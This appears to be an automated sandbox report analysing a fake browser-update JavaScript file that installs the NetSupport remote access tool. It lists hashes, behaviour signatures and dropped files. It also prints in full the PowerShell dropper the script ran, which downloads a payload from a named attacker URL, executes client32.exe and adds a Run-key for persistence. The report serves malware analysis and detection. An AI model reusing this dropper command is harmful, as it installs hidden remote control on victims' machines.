Analysis

  • max time kernel
    629s
  • max time network
    1193s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    29-01-2024 17:44

General

  • Target

    Update_browser_17.6436.js

  • Size

    434KB

  • MD5

    3e2fdaa39431f19d92dc3e4de776593d

  • SHA1

    3255b30e085afa114e2a5b0cf9419d1487059ca8

  • SHA256

    41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975

  • SHA512

    766ebbd8a92d605e04d9ab02ac6c9299bfdbc8eae73c5346510b79e600966d85b3f70a0c8fcbdc52583353e8c4a982c74450a55e9d0992deaa1f2d19cea8baf3

  • SSDEEP

    6144:g+IrEhFgMczj0aw0810VLuqjHFPm4HQQuZ2Ozr:gqkdj8gY4HQJ2O3

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ghostcitygames.com/data.php?5488

exe.dropper

https://ghostcitygames.com/data.php?5488

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $PjcmWSnsXSDEwbBRuAogQ='https://ghostcitygames.com/data.php?5488';$UEkhXuQbhRYarB=(New-Object System.Net.WebClient).DownloadString($PjcmWSnsXSDEwbBRuAogQ);$fjhFqDfAWAlrzhAXmFluccfozzC=[System.Convert]::FromBase64String($UEkhXuQbhRYarB);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $tArSLttfspgESeJzarJcrgtXTFrBtFpuk=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -PathType Container)) { New-Item -Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -ItemType Directory };$p=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'lol.zip';[System.IO.File]::WriteAllBytes($p,$fjhFqDfAWAlrzhAXmFluccfozzC);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$tArSLttfspgESeJzarJcrgtXTFrBtFpuk)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -Force; $FSDFSSD.attributes='Hidden';$s=$tArSLttfspgESeJzarJcrgtXTFrBtFpuk+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2596
      • C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlxjhd0z.nd5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Roaming\DIVX576\MSVCR100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\DIVX576\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX576\PCICL32.dll

    Filesize

    1.6MB

    MD5

    d61b730abb9dfcbae47a97e7b6d67976

    SHA1

    d2b496cde1a68599c92298fb3949ca88c319bfc8

    SHA256

    145eecb6b5d44c35dcfe511f5f4e443462ae2ed97569e554d022b7b02bf20d15

    SHA512

    bf6e9878a3b05be503d054cff5c972570f6d0e8d6cf62dac48beeb52fdb37ea48f70ce9f28ee3906206b98ca4c5e3c6703a098542ea11033e8df0aa4e0415c7c

  • C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX576\client32.ini

    Filesize

    701B

    MD5

    98043670d8c850e878e333312fcfa25a

    SHA1

    dc795e8b906d70ee5854a6797e0c1557375bc443

    SHA256

    0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

    SHA512

    13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

  • C:\Users\Admin\AppData\Roaming\DIVX576\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\Roaming\DIVX576\pcichek.dll

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • \Users\Admin\AppData\Roaming\DIVX576\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • \Users\Admin\AppData\Roaming\DIVX576\PCICL32.DLL

    Filesize

    1.6MB

    MD5

    624ca1c1ce95aff868c1e3b3ed37c844

    SHA1

    f7e23eade16e148f5656bd4c6c2fcd2a1d31971f

    SHA256

    91c9fed857e3600227a5fc953bd5c2e8b8f515bef38309dffa8c9960c14c0c22

    SHA512

    94538a6982b8d792f440899f6c4a9ba60f7e8cd90be66159ca1b35aadcb378e8098ef837c7aade09c10505e507e55ae029a642197d5e76c33b648427682924a3

  • memory/2596-6-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp

    Filesize

    64KB

  • memory/2596-8-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp

    Filesize

    64KB

  • memory/2596-44-0x000001F396880000-0x000001F39688A000-memory.dmp

    Filesize

    40KB

  • memory/2596-26-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2596-25-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp

    Filesize

    64KB

  • memory/2596-4-0x000001F3967F0000-0x000001F396812000-memory.dmp

    Filesize

    136KB

  • memory/2596-5-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2596-10-0x000001F3AEC30000-0x000001F3AECA6000-memory.dmp

    Filesize

    472KB

  • memory/2596-115-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2596-45-0x000001F3968B0000-0x000001F3968C2000-memory.dmp

    Filesize

    72KB